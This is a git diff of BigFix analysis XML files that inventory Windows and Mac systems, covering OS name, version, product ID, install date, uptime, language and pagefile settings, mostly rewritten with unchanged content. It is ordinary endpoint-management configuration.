-    <Property ID="15" Name="OS Product Key - Windows" EvaluationPeriod="P1D">if (name of operating system = &quot;Win95&quot; AND exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; whose (exists value &quot;ProductId&quot; of it) of registry) then (value &quot;ProductId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; of registry as string) else (if ((name of operating system = &quot;Win98&quot; OR name of operating system = &quot;WinME&quot;) AND exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; whose (exists value &quot;ProductKey&quot; of it) of registry) then (value &quot;ProductKey&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; of registry as string) else (&quot;Unknown&quot;))</Property>
-    <Property ID="16" Name="OS Installation Date - Windows  (WMI)" EvaluationPeriod="P1D">if (exists wmi AND exists selects &quot;InstallDate from win32_operatingsystem&quot; of wmi AND not ((string value of selects &quot;InstallDate from win32_operatingsystem&quot; of wmi) = &quot;&quot;)) then ((first 4 of (first 8 of string value of (selects &quot;InstallDate from Win32_OperatingSystem&quot; of wmi))) &amp; &quot;-&quot; &amp; (first 2 of (last 4 of (first 8 of string value of (selects &quot;InstallDate from Win32_OperatingSystem&quot; of wmi)))) &amp; &quot;-&quot; &amp; (last 2 of (first 8 of string value of (selects &quot;InstallDate from Win32_OperatingSystem&quot; of wmi)))) else (&quot;N/A&quot;)</Property>
-    <Property ID="17" Name="Uptime - Windows" EvaluationPeriod="PT1H">(if it = 1 then it as string &amp; &quot; day&quot; else it as string &amp; &quot; days&quot;) of ((uptime of operating system) / day) </Property>
-    <Property ID="18" Name="OS Language - Windows" EvaluationPeriod="P2D">language of version block of file &quot;kernel32.dll&quot; of system folder &amp; (if (exists key &quot;HKLM\System\CurrentControlSet\Control\Nls\MUILanguages&quot; of registry AND exists value of key &quot;HKLM\System\CurrentControlSet\Control\Nls\MUILanguages&quot; of registry) then &quot; | MUI Installed&quot; else &quot;&quot;)</Property>
-    <Property ID="19" Name="System Language - Windows" EvaluationPeriod="P2D">system language</Property>
-    <Property ID="20" Name="User Language - Windows" EvaluationPeriod="P2D">user language</Property>
-    <Property ID="21" Name="ProgramFiles EnvVar" EvaluationPeriod="P2D">value of variable &quot;ProgramFiles&quot; of environment</Property>
-    <Property ID="22" Name="OS Architecture - Inspector" EvaluationPeriod="P2D">architecture of operating system</Property>
-    <Property ID="23" Name="Boot Time" EvaluationPeriod="PT1H">boot time of operating system</Property>
-    <Property ID="24" Name="product info string" EvaluationPeriod="P2D">if(version of operating system &gt;= &quot;6.0&quot;) then (product info string of operating system) else NOTHING</Property>
-    <Property ID="25" Name="platform id" EvaluationPeriod="P2D">platform id of operating system</Property>
-    <Property ID="26" Name="product type" EvaluationPeriod="P2D">(if (it = nt workstation product type) then &quot;Workstation&quot; else if (it = nt server product type) then &quot;Server&quot; else if (it = nt domain controller product type) then &quot;DomainController&quot; else &quot;Unknown&quot;) of (product type of operating system)</Property>
-    <Property ID="27" Name="performance counter frequency" EvaluationPeriod="PT12H">performance counter frequency of operating system</Property>
-    <Property ID="28" Name="performance counter" EvaluationPeriod="PT1H">performance counter of operating system</Property>
-    <Property ID="29" Name="ProductName" EvaluationPeriod="PT12H">unique values of (it as string as trimmed string) of values &quot;ProductName&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of (x32 registries;x64 registries)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Operating System Information (Windows) - Expanded
+  ID       : 2994800
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-13T07:58:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Operating System Information (Windows) - Expanded</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD><FONT size=2><A href="http://support.bigfix.com/inspectors/System%20Objects_Win.html#operating%20system">http://support.bigfix.com/inspectors/System%20Objects_Win.html#operating%20system</A></FONT>
+<P><FONT size=2>This analysis contains information about the Microsoft Windows operating system&nbsp;on BES Client computers. This is an expanded version of the analysis provided by IBM.</P>
+<P><FONT size=2>Since this information&nbsp;does not change much and its evaluation can be resource intensive,&nbsp;most of these properties are only evaluated <STRONG>once per day</STRONG>.</P>
+<P>After activating this analysis, you will see the following properties:</P>
+<UL>
+<LI>Full&nbsp;OS&nbsp;Name and Service Pack Level
+<LI>OS Architecture
+<LI>OS Version Number
+<LI>OS Type
+<LI>Product ID
+<LI>Product Key (Win95, Win98, WinME&nbsp;only)
+<LI>Installation Date
+<LI>Uptime (days) [BES Clients&nbsp;&gt;= 5.1]
+<LI>OS Language (Language of the installed OS)
+<LI>System&nbsp;Language&nbsp;&nbsp;
+<LI>User Language&nbsp;(Default)</LI></UL>
+<P><STRONG>Note:</STRONG> Many of these properties access the Windows Management Interface (WMI) to obtain the hardware properties. The WMI is not usually available on Win9x&nbsp;and WinNT computers so some properties&nbsp;may report back "N/A"&nbsp;on those operating systems.</P>
+<P><STRONG>Note:</STRONG> Some computers may have broken WMI libraries.&nbsp;Inconsistent results&nbsp;and undesired side effects may occur when the BES Client evaluates a WMI query. If you have known problems with WMI in your environment, do not activate this analysis.</P>
+<P></FONT></FONT>&nbsp;</P></TD></TR></TBODY></TABLE>Latest version of this analysis is found here: <A href="http://bigfix.me/analysis/details/2994629">http://bigfix.me/analysis/details/2994629</A> ]]></Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance>(if (name of operating system starts with &quot;Win&quot;) then platform id of operating system != 3 else true) AND (if exists property &quot;in proxy agent context&quot; then (not in proxy agent context) else true) AND (if exists property &quot;android&quot; of type &quot;operating system&quot; then (not android of operating system) else true)</Relevance>
+    <Relevance><![CDATA[version of client >= "5.0"]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 31 May 2005 18:57:12 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 28 Jan 2015 19:20:54 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Full Operating System Name and Service Pack Level - Windows" EvaluationPeriod="P1D">if (exists wmi AND (not (name of operating system = &quot;WinME&quot; ))) then (string value of selects &quot;caption from win32_operatingsystem&quot; of wmi &amp; &quot; &quot; &amp; csd version of operating system) else ( &quot;Windows &quot; &amp; (following text of first &quot;Win&quot; of (name of operating system as string)) &amp; (if (name of operating system = &quot;WinNT&quot; ) then ((if (exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions&quot; whose (exists value &quot;ProductType&quot; of it AND (value &quot;ProductType&quot; of it as string as lowercase = &quot;servernt&quot; OR value &quot;ProductType&quot; of it as string as lowercase = &quot;lanmannt&quot; )) of registry) then (if (exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions&quot; whose (exists value &quot;ProductSuite&quot; of it AND value &quot;ProductSuite&quot; of it as string as lowercase contains &quot;terminal&quot; ) of registry) then &quot; Terminal Server&quot; else &quot; Server&quot; ) else &quot; Workstation&quot; ) &amp; &quot; &quot; &amp; csd version of operating system) else (if (name of operating system = &quot;Win98&quot; ) then (if (csd version of operating system as string contains &quot;A&quot; ) then &quot; Second Edition&quot; else &quot;&quot; ) else (if (name of operating system = &quot;Win95&quot; ) then (if (csd version of operating system as string contains &quot;C&quot; OR csd version of operating system as string contains &quot;B&quot; ) then &quot; OSR2&quot; else &quot;&quot; ) else &quot; &quot; &amp; csd version of operating system ))))</Property>
+    <Property ID="11" Name="OS Architecture - Windows" EvaluationPeriod="P1D">if (ia64 of operating system) then &quot;Itanium 64-bit&quot; else (if (x64 of operating system) then &quot;64-bit&quot; else &quot;32-bit&quot;)</Property>
+    <Property ID="12" Name="OS Version Number - Windows" EvaluationPeriod="P1D">version of operating system</Property>
+    <Property ID="13" Name="OS Type - Windows" EvaluationPeriod="P1D">if (name of operating system as lowercase starts with &quot;win&quot;) then (if (name of operating system = &quot;Win95&quot; OR name of operating system = &quot;Win98&quot; or name of operating system = &quot;WinME&quot;) then &quot;Workstation&quot; else (if (value &quot;ProductType&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions&quot; of registry = &quot;WinNT&quot;) then &quot;Workstation&quot; else &quot;Server&quot;)) else &quot;Unknown - &quot; &amp; name of operating system</Property>
+    <Property ID="14" Name="OS Product ID - Windows" EvaluationPeriod="P1D">(if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; whose (exists value &quot;ProductId&quot; of it) of native registry AND NOT (name of operating system = &quot;WinNT&quot;)) then (value &quot;ProductId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; of native registry as string) else (if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; whose (exists value &quot;ProductId&quot; of it) of native registry) then (value &quot;ProductId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string) else &quot;Unknown&quot;))</Property>
+    <Property ID="15" Name="OS Product Key - Windows" EvaluationPeriod="P1D">if (name of operating system = &quot;Win95&quot; AND exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; whose (exists value &quot;ProductId&quot; of it) of registry) then (value &quot;ProductId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; of registry as string) else (if ((name of operating system = &quot;Win98&quot; OR name of operating system = &quot;WinME&quot;) AND exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; whose (exists value &quot;ProductKey&quot; of it) of registry) then (value &quot;ProductKey&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; of registry as string) else (&quot;Unknown&quot;))</Property>
+    <Property ID="16" Name="OS Installation Date - Windows  (WMI)" EvaluationPeriod="P1D">if (exists wmi AND exists selects &quot;InstallDate from win32_operatingsystem&quot; of wmi AND not ((string value of selects &quot;InstallDate from win32_operatingsystem&quot; of wmi) = &quot;&quot;)) then ((first 4 of (first 8 of string value of (selects &quot;InstallDate from Win32_OperatingSystem&quot; of wmi))) &amp; &quot;-&quot; &amp; (first 2 of (last 4 of (first 8 of string value of (selects &quot;InstallDate from Win32_OperatingSystem&quot; of wmi)))) &amp; &quot;-&quot; &amp; (last 2 of (first 8 of string value of (selects &quot;InstallDate from Win32_OperatingSystem&quot; of wmi)))) else (&quot;N/A&quot;)</Property>
+    <Property ID="17" Name="Uptime - Windows" EvaluationPeriod="PT1H">(if it = 1 then it as string &amp; &quot; day&quot; else it as string &amp; &quot; days&quot;) of ((uptime of operating system) / day) </Property>
+    <Property ID="18" Name="OS Language - Windows" EvaluationPeriod="P2D">language of version block of file &quot;kernel32.dll&quot; of system folder &amp; (if (exists key &quot;HKLM\System\CurrentControlSet\Control\Nls\MUILanguages&quot; of registry AND exists value of key &quot;HKLM\System\CurrentControlSet\Control\Nls\MUILanguages&quot; of registry) then &quot; | MUI Installed&quot; else &quot;&quot;)</Property>
+    <Property ID="19" Name="System Language - Windows" EvaluationPeriod="P2D">system language</Property>
+    <Property ID="20" Name="User Language - Windows" EvaluationPeriod="P2D">user language</Property>
+    <Property ID="21" Name="ProgramFiles EnvVar" EvaluationPeriod="P2D">value of variable &quot;ProgramFiles&quot; of environment</Property>
+    <Property ID="22" Name="OS Architecture - Inspector" EvaluationPeriod="P2D">architecture of operating system</Property>
+    <Property ID="23" Name="Boot Time" EvaluationPeriod="PT1H">boot time of operating system</Property>
+    <Property ID="24" Name="product info string" EvaluationPeriod="P2D">if(version of operating system &gt;= &quot;6.0&quot;) then (product info string of operating system) else NOTHING</Property>
+    <Property ID="25" Name="platform id" EvaluationPeriod="P2D">platform id of operating system</Property>
+    <Property ID="26" Name="product type" EvaluationPeriod="P2D">(if (it = nt workstation product type) then &quot;Workstation&quot; else if (it = nt server product type) then &quot;Server&quot; else if (it = nt domain controller product type) then &quot;DomainController&quot; else &quot;Unknown&quot;) of (product type of operating system)</Property>
+    <Property ID="27" Name="performance counter frequency" EvaluationPeriod="PT12H">performance counter frequency of operating system</Property>
+    <Property ID="28" Name="performance counter" EvaluationPeriod="PT1H">performance counter of operating system</Property>
+    <Property ID="29" Name="ProductName" EvaluationPeriod="PT12H">unique values of (it as string as trimmed string) of values &quot;ProductName&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of (x32 registries;x64 registries)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - metric inspector (2994628).bes b/Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - metric inspector (2994628).bes
index ced9ee276..936285101 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - metric inspector (2994628).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - metric inspector (2994628).bes	
@@ -1,42 +1,42 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Operating System Information (Windows) - metric inspector
-  ID       : 2994628
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-01-28T10:17:16
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Operating System Information (Windows) - metric inspector</Title>
-    <Description><![CDATA[<FONT size=2>
-<P>metric </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&lt;</FONT></FONT><FONT size=2>integer</FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&gt;</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> operating system</FONT></P>
-<P><FONT size=2><A href="http://support.bigfix.com/inspectors/System%20Objects_Win.html#operating%20system">http://support.bigfix.com/inspectors/System%20Objects_Win.html#operating%20system</A></P></FONT>
-<P><A href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx</A></P>]]></Description>
-    <Relevance><![CDATA[version of client >= "8.0"]]></Relevance>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 28 Jan 2014 17:13:39 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="SM_CLEANBOOT" EvaluationPeriod="PT12H">metric 67 /* SM_CLEANBOOT */ of operating system</Property>
-    <Property ID="2" Name="SM_SERVERR2" EvaluationPeriod="PT12H">metric 89 /* SM_SERVERR2 */ of operating system</Property>
-    <Property ID="3" Name="SM_SLOWMACHINE" EvaluationPeriod="PT12H">metric 73 /* SM_SLOWMACHINE */ of operating system</Property>
-    <Property ID="4" Name="SM_STARTER" EvaluationPeriod="PT12H">metric 88 /* SM_STARTER */ of operating system</Property>
-    <Property ID="5" Name="SM_MEDIACENTER" EvaluationPeriod="PT12H">metric 87 /* SM_MEDIACENTER */ of operating system</Property>
-    <Property ID="6" Name="SM_TABLETPC" EvaluationPeriod="PT12H">metric 86 /* SM_TABLETPC */ of operating system</Property>
-    <Property ID="7" Name="SM_CMONITORS" EvaluationPeriod="PT12H">metric 80 /* SM_CMONITORS */ of operating system</Property>
-    <Property ID="8" Name="SM_MOUSEPRESENT" EvaluationPeriod="PT12H">metric 19 /* SM_MOUSEPRESENT */ of operating system</Property>
-    <Property ID="9" Name="SM_CMOUSEBUTTONS" EvaluationPeriod="PT12H">metric 43 /* SM_CMOUSEBUTTONS */ of operating system</Property>
-    <Property ID="10" Name="SM_MOUSEHORIZONTALWHEELPRESENT" EvaluationPeriod="PT12H">metric 91 /* SM_MOUSEHORIZONTALWHEELPRESENT */ of operating system</Property>
-    <Property ID="11" Name="SM_MOUSEWHEELPRESENT" EvaluationPeriod="PT12H">metric 75 /* SM_MOUSEWHEELPRESENT */ of operating system</Property>
-    <Property ID="12" Name="SM_IMMENABLED" EvaluationPeriod="PT12H">metric 82 /* SM_IMMENABLED */ of operating system</Property>
-    <Property ID="13" Name="SM_PENWINDOWS" EvaluationPeriod="PT12H">metric 41 /* SM_PENWINDOWS */ of operating system</Property>
-    <Property ID="14" Name="SM_DIGITIZER" EvaluationPeriod="PT12H">metric 94 /* SM_DIGITIZER */ of operating system</Property>
-    <Property ID="15" Name="SM_MAXIMUMTOUCHES" EvaluationPeriod="PT12H">metric 95 /* SM_MAXIMUMTOUCHES */ of operating system</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Operating System Information (Windows) - metric inspector
+  ID       : 2994628
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-01-28T10:17:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Operating System Information (Windows) - metric inspector</Title>
+    <Description><![CDATA[<FONT size=2>
+<P>metric </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&lt;</FONT></FONT><FONT size=2>integer</FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&gt;</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> operating system</FONT></P>
+<P><FONT size=2><A href="http://support.bigfix.com/inspectors/System%20Objects_Win.html#operating%20system">http://support.bigfix.com/inspectors/System%20Objects_Win.html#operating%20system</A></P></FONT>
+<P><A href="http://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx</A></P>]]></Description>
+    <Relevance><![CDATA[version of client >= "8.0"]]></Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 28 Jan 2014 17:13:39 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SM_CLEANBOOT" EvaluationPeriod="PT12H">metric 67 /* SM_CLEANBOOT */ of operating system</Property>
+    <Property ID="2" Name="SM_SERVERR2" EvaluationPeriod="PT12H">metric 89 /* SM_SERVERR2 */ of operating system</Property>
+    <Property ID="3" Name="SM_SLOWMACHINE" EvaluationPeriod="PT12H">metric 73 /* SM_SLOWMACHINE */ of operating system</Property>
+    <Property ID="4" Name="SM_STARTER" EvaluationPeriod="PT12H">metric 88 /* SM_STARTER */ of operating system</Property>
+    <Property ID="5" Name="SM_MEDIACENTER" EvaluationPeriod="PT12H">metric 87 /* SM_MEDIACENTER */ of operating system</Property>
+    <Property ID="6" Name="SM_TABLETPC" EvaluationPeriod="PT12H">metric 86 /* SM_TABLETPC */ of operating system</Property>
+    <Property ID="7" Name="SM_CMONITORS" EvaluationPeriod="PT12H">metric 80 /* SM_CMONITORS */ of operating system</Property>
+    <Property ID="8" Name="SM_MOUSEPRESENT" EvaluationPeriod="PT12H">metric 19 /* SM_MOUSEPRESENT */ of operating system</Property>
+    <Property ID="9" Name="SM_CMOUSEBUTTONS" EvaluationPeriod="PT12H">metric 43 /* SM_CMOUSEBUTTONS */ of operating system</Property>
+    <Property ID="10" Name="SM_MOUSEHORIZONTALWHEELPRESENT" EvaluationPeriod="PT12H">metric 91 /* SM_MOUSEHORIZONTALWHEELPRESENT */ of operating system</Property>
+    <Property ID="11" Name="SM_MOUSEWHEELPRESENT" EvaluationPeriod="PT12H">metric 75 /* SM_MOUSEWHEELPRESENT */ of operating system</Property>
+    <Property ID="12" Name="SM_IMMENABLED" EvaluationPeriod="PT12H">metric 82 /* SM_IMMENABLED */ of operating system</Property>
+    <Property ID="13" Name="SM_PENWINDOWS" EvaluationPeriod="PT12H">metric 41 /* SM_PENWINDOWS */ of operating system</Property>
+    <Property ID="14" Name="SM_DIGITIZER" EvaluationPeriod="PT12H">metric 94 /* SM_DIGITIZER */ of operating system</Property>
+    <Property ID="15" Name="SM_MAXIMUMTOUCHES" EvaluationPeriod="PT12H">metric 95 /* SM_MAXIMUMTOUCHES */ of operating system</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/PageFile - Windows (2994592).bes b/Sites/Windows Management/Fixlets/Analyses/PageFile - Windows (2994592).bes
index 7fac97f25..9b08ddd20 100644
--- a/Sites/Windows Management/Fixlets/Analyses/PageFile - Windows (2994592).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/PageFile - Windows (2994592).bes	
@@ -1,29 +1,29 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : PageFile - Windows
-  ID       : 2994592
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-10-31T09:40:01
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>PageFile - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists wmi</Relevance>
-    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 31 Oct 2013 16:39:11 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Initial Page file Size" EvaluationPeriod="P1D">string values of selects &quot;InitialSize from Win32_PageFileSetting&quot; of wmi</Property>
-    <Property ID="2" Name="Maximum Page file Size" EvaluationPeriod="P1D">string values of selects &quot;MaximumSize from Win32_PageFileSetting&quot; of wmi</Property>
-    <Property ID="3" Name="Pagefile Name" EvaluationPeriod="P1D">string values of selects &quot;Name from Win32_PageFileSetting&quot; of wmi</Property>
-    <Property ID="4" Name="Size of pagefile" EvaluationPeriod="PT6H">sum of sizes of files (string values of selects &quot;Name from Win32_PageFileSetting&quot; of wmi)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : PageFile - Windows
+  ID       : 2994592
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-10-31T09:40:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>PageFile - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 31 Oct 2013 16:39:11 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Initial Page file Size" EvaluationPeriod="P1D">string values of selects &quot;InitialSize from Win32_PageFileSetting&quot; of wmi</Property>
+    <Property ID="2" Name="Maximum Page file Size" EvaluationPeriod="P1D">string values of selects &quot;MaximumSize from Win32_PageFileSetting&quot; of wmi</Property>
+    <Property ID="3" Name="Pagefile Name" EvaluationPeriod="P1D">string values of selects &quot;Name from Win32_PageFileSetting&quot; of wmi</Property>
+    <Property ID="4" Name="Size of pagefile" EvaluationPeriod="PT6H">sum of sizes of files (string values of selects &quot;Name from Win32_PageFileSetting&quot; of wmi)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Pagefile - Win_Mac (2998262).bes b/Sites/Windows Management/Fixlets/Analyses/Pagefile - Win_Mac (2998262).bes
index 4cf9d0cff..f03d8209a 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Pagefile - Win_Mac (2998262).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Pagefile - Win_Mac (2998262).bes	
@@ -1,22 +1,22 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Pagefile - Win\Mac
-  ID       : 2998262
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T17:53:42
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Pagefile - Win\Mac</Title>
-    <Description><![CDATA[<P>Information about Pagefile across Mac and Windows </P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Relevance>windows of operating system or mac of operating system</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Pagefile - Current Size - Win\Mac" EvaluationPeriod="P1D">sum of sizes of (if (Windows of Operating System) then (files &quot;pagefile.sys&quot; of folders ((name of it &amp; &quot;\&quot;) of drives)) else (if (Mac of Operating System) then (files whose (name of it starts with &quot;swapfile&quot;) of folder &quot;/private/var/vm&quot;) else (ERROR &quot;Unknown&quot;)))</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Pagefile - Win\Mac
+  ID       : 2998262
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T17:53:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Pagefile - Win\Mac</Title>
+    <Description><![CDATA[<P>Information about Pagefile across Mac and Windows </P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance>windows of operating system or mac of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Pagefile - Current Size - Win\Mac" EvaluationPeriod="P1D">sum of sizes of (if (Windows of Operating System) then (files &quot;pagefile.sys&quot; of folders ((name of it &amp; &quot;\&quot;) of drives)) else (if (Mac of Operating System) then (files whose (name of it starts with &quot;swapfile&quot;) of folder &quot;/private/var/vm&quot;) else (ERROR &quot;Unknown&quot;)))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Pagefile - Windows (2998263).bes b/Sites/Windows Management/Fixlets/Analyses/Pagefile - Windows (2998263).bes
index 030ce9ef8..db061e2d1 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Pagefile - Windows (2998263).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Pagefile - Windows (2998263).bes	
@@ -1,23 +1,23 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Pagefile - Windows
-  ID       : 2998263
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T17:53:49
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Pagefile - Windows</Title>
-    <Description><![CDATA[<P>Covers Pagefile configuration for Windows </P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Pagefile - Location and Size - Windows" EvaluationPeriod="P1D">(preceding text of first &quot; &quot; of it | it, preceding text of first &quot; &quot; of following text of first &quot; &quot; of it | &quot;Default&quot;, following text of first &quot; &quot; of following text of first &quot; &quot; of it | &quot;Default&quot;) of (substrings separated by &quot;%00&quot; whose (it != &quot;&quot;) of (value &quot;PagingFiles&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management&quot; of native registry as string))</Property>
-    <Property ID="2" Name="Pagefile - Clear on Shutdown - Windows" EvaluationPeriod="P1D">if (value &quot;ClearPageFileAtShutdown&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management&quot; of native registry as string = &quot;0&quot;) then &quot;Disabled&quot; else &quot;Enabled&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Pagefile - Windows
+  ID       : 2998263
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T17:53:49
